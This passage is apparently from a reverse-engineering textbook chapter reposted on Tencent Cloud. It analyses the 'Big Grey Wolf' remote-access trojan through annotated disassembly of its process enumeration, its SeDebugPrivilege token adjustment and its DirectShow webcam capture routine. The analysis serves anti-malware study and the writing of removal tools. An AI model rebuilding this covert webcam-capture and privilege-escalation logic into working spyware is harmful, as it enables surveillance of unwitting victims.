.text:100116A8 push 4 ; cb
.text:100116AA push eax ; lphModule
.text:100116AB push esi ; hProcess
.text:100116AC call EnumProcessModules ; 遍历进程模块列表
.text:100116B1 mov edx, [esp+24Ch+hModule]  
.text:100116B5 lea ecx, [esp+24Ch+Filename]  
.text:100116BC push 104h ; nSize
.text:100116C1 push ecx ; lpFilename
.text:100116C2 push edx ; hModule
.text:100116C3 push esi ; hProcess
.text:100116C4 call GetModuleFileNameExA ; 获取进程路径
.text:100116F3 push 42h ; uFlags
.text:100116F5 push esi ; uBytes
.text:100116F6 push ebp ; hMem
.text:100116F7 call ds:LocalReAlloc ; 释放空间
.text:10011774 lea ecx, [esp+24Ch+pe]  
.text:10011778 push ecx ; lppe
.text:10011779 push edi ; hSnapshot
.text:1001177A call Process32Next ; 遍历下一个进程
.text:1001177F
.text:10011781 test
jnz eax, eax
loc_10011669 
; 
循环开始
.text:10011787 mov esi, [esp+24Ch+var_238] ; 循环结束
.text:1001178B push 42h ; uFlags
.text:1001178D push ebx ; uBytes
.text:1001178E push ebp ; hMem
.text:1001178F call ds:LocalReAlloc  
.text:10011795 push 0 ; int
.text:10011797 push offset Name ; "SeDebugPrivilege"
.text:1001179C
.text:1001179E mov
call ebx, eax
adjust_token 
; 
调用函数调整令牌权限
.text:100117A3 add esp, 8  
.text:100117A6 push edi ; hObject
.text:100117A7
.text:100117AD mov
call edi, ds:CloseHandle
edi ; CloseHandle 
; 
关闭进程快照
.text:100117AF push esi ; hObject
.text:100117B0 call edi ; CloseHandle ; 关闭进程句柄

如代码清单 16-18 所示,该病毒通过 DirectShow 完成视频采集(DirectShow 是微软基于 COM 的流媒体处理的开发包)。

代码清单16-18 摄像头查看代码片段 DllVideo函数实现代码:

代码语言:javascript
复制
.text:10001E8Blea ecx, [esp+900h+pCreateDevEnum]
.text:10001E8Fpush ecx ; pCreateDevEnum
.text:10001E90push offset stru_100853DC ; riid,IID_ICreateDevEnum
.text:10001E95push 1 ; dwClsContext,CLSCTX_INPROC_SERVER
.text:10001E97push ebx ; pUnkOuter
.text:10001E98push offset stru_1008546C ; rclsid, CLSID_SystemDeviceEnum
.text:10001E9Dcall esi ; CoCreateInstance ; 创建设备枚举COM对象:ICreateDevEnum
.text:10001EB7push ebx ; 参数4:0
.text:10001EB8push ecx ; 参数3:保存对象的地址
.text:10001EB9mov edx, [eax] ; 获取虚表指针
.text:10001EBBpush offset stru_1008545C ; 参数2:CLSID_VideoInputDeviceCategory
.text:10001EC0push eax ; 参数1:this指针
.text:10001EC1mov [esp+910h+var_4], ebx
.text:10001EC8call dword ptr [edx+0Ch]
; 调用CreateClassEnumerator,创建视频采集设备枚举COM对象
.text:10001EF4push eax ; 参数1:this指针
.text:10001EF5mov ecx, [eax]
.text:10001EF7call dword ptr [ecx+14h] ; 调用IEnumMoniker->Reset
.text:10001EFAmov eax, [esp+900h+pEnum]
.text:10001EFElea ecx, [esp+900h+var_8C4]
.text:10001F02push ecx
.text:10001F03lea ecx, [esp+904h+pMoniker2]
.text:10001F07mov edx, [eax]
.text:10001F09push ecx ; 参数3:保存对象的地址
.text:10001F0Apush 1 ; 参数2:1
.text:10001F0Cpush eax ; 参数1:this指针
.text:10001F0Dcall dword ptr [edx+0Ch]
; 调用IEnumMoniker->Next,获取
; IMoniker接口,循环枚举
.text:10001F19mov eax, [esp+904h+pMoniker2]
.text:10001F1Dlea ecx, [esp+904h+var_8D4]
.text:10001F21push ecx
.text:10001F22push offset unk_100854DC
.text:10001F27mov edx, [eax]
.text:10001F29push ebx
.text:10001F2Apush ebx
.text:10001F2Bpush eax
.text:10001F2Ccall dword ptr [edx+36] ; 调用IMoniker->BindToStorage

16.6 本章小结

本章的学习重点是将逆向技术应用于病毒程序分析。正所谓“知己知彼,百战不殆”,要想反病毒,首先就要清楚病毒的实现原理,这样才能技高一筹。有了对大灰狼远控木马的分析,读者可以根据病毒的实现原理,编写对应的修复、防御工具,制作针对大灰狼远控木马的专杀软件。

本文摘编自《C++反汇编与逆向分析技术揭秘(第2版)》,经出版方授权发布。(ISBN:78-7-111-68991-1),转载请标明出处。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-12-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 高性能服务器开发 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 16.1 调试环境配置
  • 16.2 病毒程序初步分析
  • 16.3 启动过程分析
  • 16.4 通信协议分析
  • 16.5 远控功能分析
  • 16.6 本章小结
相关产品与服务
腾讯云代码分析
腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档